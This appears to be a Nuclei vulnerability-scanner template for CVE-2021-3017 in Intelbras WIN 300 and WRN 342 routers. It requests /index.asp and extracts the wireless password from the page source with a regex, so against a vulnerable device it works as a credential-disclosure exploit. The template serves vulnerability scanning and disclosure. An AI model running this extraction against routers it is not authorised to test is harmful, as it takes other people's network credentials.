id: CVE-2021-3017

info:
  name: Intelbras WIN 300/WRN 342 - Credentials Disclosure
  author: pikpikcu
  severity: high
  description: Intelbras WIN 300 and WRN 342 devices through 2021-01-04 allows remote attackers to discover credentials by reading the def_wirelesspassword line in the HTML source code.
  reference:
    - https://poc.wgpsec.org/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/Intelbras/Intelbras%20Wireless%20%E6%9C%AA%E6%8E%88%E6%9D%83%E4%B8%8E%E5%AF%86%E7%A0%81%E6%B3%84%E9%9C%B2%20CVE-2021-3017.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3017
    - https://www.intelbras.com/pt-br/ajuda-download/faq/roteador-wireless-veloz-wrn-342
    - https://pastebin.com/cTYTf0Yn
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-3017
  tags: cve,cve2021,exposure,router

requests:
  - method: GET
    path:
      - "{{BaseURL}}/index.asp"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'def_wirelesspassword ='
          - '<title>Roteador Wireless</title>'
        part: body
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        regex:
          - 'def_wirelesspassword = "([A-Za-z0-9=]+)";'

# Enhanced by mp on 2022/03/30